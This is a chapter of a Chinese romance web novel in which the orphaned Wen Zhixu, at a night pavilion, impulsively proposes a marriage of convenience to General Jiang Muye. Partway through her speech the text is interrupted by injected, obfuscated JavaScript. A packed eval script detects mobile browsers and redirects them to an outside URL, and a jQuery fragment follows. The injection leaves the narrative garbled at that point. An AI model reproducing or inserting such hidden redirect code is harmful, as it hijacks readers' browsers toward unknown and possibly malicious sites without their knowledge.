27. 语出惊人

作品:《改嫁隔壁大将军

    待江牧野重新取了马赶到十里亭,温知许已经悠然落座许久。


    披星正安顺地立于她身旁。


    温知许还不知从哪里摸来几根胡萝卜喂马。


    一人一马一古亭,意境颇好。


    江牧野远远瞧着,一时也有些哭笑不得。


    这位看似骄矜的大小姐,情绪爆发时汹涌澎湃,不管不顾;可一旦脱离,也不会似寻常女儿家那般哭哭啼啼闹个没完。


    说断就断,倒也干净利落。


    温知许察觉到来人,瞧了过来。


    天色如墨渍般晕染,半轮残月挂在枝头,几粒儿星子稀疏点缀其间。


    斑点星光落入她的眸中,亮得出奇。


    “世子可算来了。”清脆的嗓音划破宁静夜色,也让伫立不动的高大身影缓步踱了过来。


    “温小姐这算是恶人先告状?”他双手抵腰,姿态散漫闲适,话语里带着一两分的调侃意味。


    “恶人?世子见过我这般貌美的恶人吗?”温知许眨巴眨巴眼睛,俏皮回话。


    “顶了天也不过是个……”她转过视线,凝视虚空,声调不知不觉忽然平淡下来,“当街发疯的可怜女人罢了,不是吗?”


    “……”


    当两个人都不再说话时,夜深的空寂之感更显深厚浓重,只剩下披星偶尔发出的啼鸣声。


    江牧野沉冷着视线注视着只余半张侧脸的女子。


    半边白皙,半边影,嘴角弧度平直,一点儿都找不到先前那伶牙俐齿,得理不饶人的机灵样。


    ——江牧野这才恍然察觉,见这位的次数加上今日,正儿八经算下来也只寥寥四次。


    用周故的话来说,自己是个见了女子连长相和名讳都对不起来的愚木。


    燕肥环瘦于他眼中,实是差别不大,他也一直无心于此。


    然,面前这女子,每一次的出现都能在他眼前展现出全然不同的面貌,实在是让人……难以忘怀。


    他不由低头无声浅笑。


    “可怜?”江牧野突然出声,温知许扭头望向他。


    男人身形高大挺拔,肩膀挺括,在夜色衬托下更显出如山似渊般的厚重之感。


    “温小姐气势十足,凌厉慑人,如何看得出这两字?倒是那位方公子……”他抿了抿唇,耸肩带着些轻松口吻落下评价。


    “身虚体弱,面色惨淡,倒显出几分可怜意味。”


    温知许听罢,浅浅笑开,整个人也随之柔和下来。


    “世子这不是挺会说话的?”


    江牧野挑眉,亦是想起上一次宫宴上发生的事,听出了温知许言外揶揄之意。


    两人就这么相视一笑。


    他几步走到温知许不远处并排落座,俩人很默契地一同望向京郊这空旷的雪夜。


    ……


    良久,眼看着时候是真的不早了。


    江牧野侧头瞥了眼隔着一人宽的位置坐着的人儿。


    女子仰头闭着眼倚靠在栏杆上,手指有节奏地敲点着,嘴上还轻轻哼着不知名的歌谣,丝毫没有要起身的意思。


    江牧野:“……”


    “很晚了,还不回家?”他终是没忍住先开口提醒道。


    温知许闻言不动,只沉沉叹出一口气去。


    只感觉她整个肩膀都跟着塌下去了。


    江牧野察觉,“就这么不想回去?”


    温知许孩子气地疯狂摇头,仰头对着天:“不想回去啊!”


    早没家了,又该回哪里去呢?


    后半句话她含在口中没有吐露。


    江牧野心下微动,但转念联想到温知许父母双亡的身世便也了然。


    说起来,他二人倒是有点像。


    他四下扫视了一圈,背脊也跟着微微抵在围栏上,刚打算由着温知许继续收拾收拾她好似有些不妙的心情——女人忽然扭头。


    盯住他。


    江牧野:“……”


    什么意思?


    她不知在沉思什么,就这么微眯着眼专注地盯了好一会。


    直把大将军盯得浑身刺挠,手脚一时之间都不知该如何安置,面上微微泛起一抹可疑的红晕。


    突然就水灵灵地开了口:“江世子今日去哪里了?”


    江牧野:“?”


    他不解但还是好脾气地回话:“进了趟宫里。”


    “去做什么的?”温知许凑近身子,好奇写满了眸子。


    江牧野微微后倾。


    许是发现自己这话问得越了线,好歹又补上半句:“要是涉及朝堂机密就不必说了。”


    说着又回身坐正。


    ……像是拖延时间的小把戏。


    江牧野扯出一抹细微苦笑,回答道:“挨骂。”


    “扑哧—”温知许很是不给面子地笑出声,见江牧野扭头望过来这才勉强收住,没什么歉意地道歉:“对不住。”


    想起这位在宫宴上那番直白如炸雷的言论,好好的炙手可热的香饽饽瞬间就掉了几个档。


    就算这国公府门第前景再好,他当初说出来的那几条,每一个单拎出来都值得人反复商榷考量。


    如若是家中对女儿疼宠着些的,不指望女子去博名头争前途的,怕是要就此打住这攀高枝的念头了。


    这么想来,一直挂心这位世子婚事的皇上,怕是被气得不轻吧。


    她看向男人凌厉瘦削的侧脸,难得生出一点同病相怜的认同感。


    看样子也是个为了婚事头疼的可怜虫……


    -


    等等!


    同病相怜?


    温知许忽然顿住。


    越至深夜,寒风肆虐更甚,迎面吹得整个人从内而外浇灌得透心凉。


    温知许感觉自己的大脑分外清明,思绪也活跃起来。


    但又似乎跟捣了浆糊般稀里糊涂的。


    她张了张嘴,在江牧野那双沉冷的眸子同她对上的一瞬间突然脱口而出:


    “将军可愿娶我?”


    “……”


    沉寂,死一般的沉寂。


    江牧野微启双唇,难得的丧失了所有思考的能力,原地呆愣住。


    他怀疑自己方才幻听了…


    温知许眨巴眨巴眼,在一个寒风扑面打得她一阵哆嗦之后重新找回了自己的理智,


    也后知后觉意识到自己说了什么惊世骇俗的话


    ——脸色霎那间涨红。


    像枝头熟透了的红苹果。


    江牧野不合时宜地想到。


    拼命摆手,把头摇成了拨浪鼓,温知许难得有些结结巴巴手忙脚乱地解释:


    “我…我不是这个意思!就是…就是说如果,我是说如果


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832845|173236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,世子也恰好为了婚事头疼的话,我们或许可以考虑合作……你懂‘合作’的意思吗?就是一种各取所需的利益互换,倘若世子暂时没有合适的人选,又只是想找一个替你看顾宅院的人而无心情爱,正好我也不打算正经嫁人……”


    她语无伦次地讲着,前言不搭后语,感觉怎么说都不成样子。


    极力解释,“……也不是不打算正经嫁人,就是或许世子不太清楚,但我刚结束一次不太愉快的定亲经历。目前就希望能拥有一个安稳的容身之所,随心自在,少受人拘束的。感觉…感觉我二人的所求还算匹配,就,就……”


    温知许“就”不下去了,卡在这里说不出下文来,整个人像是脱离水中不小心蹦到岸边的鱼,扑腾几下垂死挣扎。


    “就…你就当我什么都没说过!”她突然放大音量,破罐子破摔。


    “什么都没说……”


    “什么都没……”


    分外寂静的夜,空荡荡的京郊,一道女子的亮嗓甚至传出了回声。


    挺渗人的。


    江牧野听了半晌,伸手握拳抵住嘴,轻咳两声,试图掩盖没忍住的笑意。


    男人眼角眉梢俱舒展开来,柔和了棱角。


    整个人忽然就没有了那股子萦绕不绝的冷淡疏离之感。


    温知许见状,又气又急还不好意思指责什么,毕竟是自己语出惊人。


    她转过身去整个人背对着江牧野,双手捂脸,垂首作鸵鸟状,自己跟自己生闷气。


    温知许!你究竟在说些什么?!


    女儿家的脸面和矜持还要不要了?!


    你简直就是疯了!


    她满脸懊恼,五官挤成一团,无比后悔自己不经思考口出狂言。


    该死的方子聿!


    今日属实又是被这个阴魂不散的男人刺激到了。


    病急乱投医!


    她闭上双眼深深呼出一口气,试图平复有着奇怪波动的心绪。


    却颓然睁眼。


    没用!


    脑袋里的小人已经在抓狂了,完全不知道该怎样继续保持平常心地面对身后这个男人。


    嗖得一下,温知许冲起身,还是背对着江牧野的姿态,试图同他道别。


    “天色也不早了,我就先行回府了,今日多谢世子,世子留步。”


    她语速极快,噼里啪啦把该说的说完,抬脚就要离开这个是非之地。


    “温小姐方才是言:‘各取所需’?”


    身后男人幽幽的声音传来。


    温知许顿住脚步,没有回头,声音却已经冷静下来。


    “是我妄言了,还请世子万不要放在心上。”


    婚姻非儿戏,自己如此主动一句邀约,不知在对方眼中,有多轻浮与失礼。


    不过,也无所谓了。


    温知许在心头轻嘲一声。


    是她太过厌恶忠勇伯府和方家的一切,迫切到几乎盲目地想要彻底摆脱。


    却又恨于自己暂且孤立无援、势单力薄而无力与家族宗亲、世俗观念相抗衡。


    也不仔细想想,这样一位位高权重的世子爷大将军,又如何看得上她这个无法给予任何助益的孤女身份。


    江牧野却在身后沉声应道:“听起来有点意思,温小姐不如详谈一二?”


    温知许诧异回眸。